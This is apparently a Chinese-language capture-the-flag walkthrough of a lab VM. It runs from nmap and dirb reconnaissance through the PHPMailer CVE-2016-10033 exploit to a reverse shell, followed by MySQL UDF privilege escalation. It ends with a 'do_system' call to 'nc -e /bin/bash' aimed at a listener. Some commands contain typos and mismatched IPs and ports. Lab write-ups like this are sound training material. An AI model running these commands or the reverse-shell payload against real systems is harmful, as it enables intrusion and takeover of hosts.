kali:192.168.157.128
linux靶机:192.168.157.130
nmap 192.168.157.0/24
发现靶机IP和开放端口
-sS
:使用 SYN 扫描(半开放扫描)方式,向目标主机发送 SYN 请求进行端口扫描。-sV
:对开放的端口进行版本探测,尝试获取正在运行的服务的版本信息。-T4
:设置扫描速度为快速模式。-A
:启用一系列的侦测功能,包括操作系统探测、脚本扫描等。nmap -sS -sV -T4 -A 192.168.157.130
dirb http://192.168.157.130
在http:192.168.157.130/vendor/PATH这个路径发现第一个flag
在http:192.168.157.130/vendor/README.md这个文件中发现使用的插件是PHPMailer
在http:192.168.157.130/vendor/SECURITY.md发现了PHPMailer的历史漏洞
翻译http:192.168.157.130/vendor/SECURITY.md页面的内容如下:
关于 PHPMailer 的安全通知:
请负责任地通报发现的任何漏洞,将发现的任何安全问题私下报告给维护人员。
PHPMailer 版本 5.2.18 之前(于 2016 年 12 月发布)存在漏洞?CVE-2016-10033?,是一种远程代码执行漏洞,由?Dawid Golunski?负责报告。
PHPMailer 版本 5.2.14 之前(于 2015 年 11 月发布)存在漏洞?CVE-2015-8476?,是一种 SMTP CRLF 注入漏洞,允许任意消息发送。
PHPMailer 版本 5.2.10 之前(于 2015 年 5 月发布)存在漏洞?CVE-2008-5619?,是一个远程代码执行漏洞,存在于捆绑的 html2text 库中。这个文件已在 5.2.10 中删除,因此如果您使用的版本早于此版本并且使用 html2text 函数,则非常重要的升级并删除此文件。
PHPMailer 版本 2.0.7 和 2.2.1 之前存在漏洞?CVE-2012-0796,是一种电子邮件头注入攻击。
Joomla 1.6.0 不安全地使用 PHPMailer,允许揭示本地文件路径,报告于?CVE-2011-3747。
PHPMailer 未对?
SetLanguage
?中的?$lang_path
?参数进行清理。这本身不是问题,但某些应用程序(如 PHPClassifieds、ATutor)也未能清理传递给它的用户提供的参数,允许半任意本地文件包含,报告于?CVE-2010-4914?、?CVE-2007-2021?和?CVE-2006-5734。PHPMailer 1.7.2 及更早版本存在可能的 DDoS 漏洞,报告于?CVE-2005-1807。
PHPMailer 1.7 及更早版本(2003 年 6 月)在?
SendmailSend
?方法中存在可能的漏洞,其中 shell 命令可能无法进行清理。报告于?CVE-2007-3215。
在http:192.168.157.130/vendor/VERSION发现了PHPMailer当前的版本,正好是5.2.16,符合CVE-2016-10033,直接找exp
searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面/3? 复制到桌面的文件夹
vi 40974.py?? #编辑文件
41行:修改成目标地址
42行:生成的后门文件名称
44行:修改反弹的ip及端口
47行:网站的根目
python 40974.py?? #运行Python文件
监听之前将kali默认的shell切换为bash
bash
nc -lvnp 8888
同时访问http:192.168.157.130/contact.php,在接着访问http:192.168.157.130/test.ph
p。因为我们想访问contact.php,才会生成test.php的后门。
使用技巧切换为稳定的shell,依次执行一下代码
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+z
stty raw -echofg
find -name flag*
ps aux | grep mysql
mysql -uroot -pR@v3nSecurity 登录mysql
select version();
show global variables like 'secure%'; #首先看一下是否满足写入条件
show variables like 'plugin%';或select @@plugin_dir; #查看插件目
cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
python -m http.server ? # 开启服务
wget http:192.168.86.128:8000/udf.so
mysql -uroot -pR@v3nSecurity
use mysql;
create table foo(line blob); #进入数据库创建数据表
insert into foo values(load_file('/tmp/udf.so')); #插入数据文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';???? #成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
create function do_system returns integer soname 'udf.so';????? #创建自定义函数
do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:select * from mysql.func;??? #查看以下创建的函数
本地监听nc -lvnp 4455
mysql中执行:select do_system('nc -nv 192.168.168.128 6666 -e /bin/bash')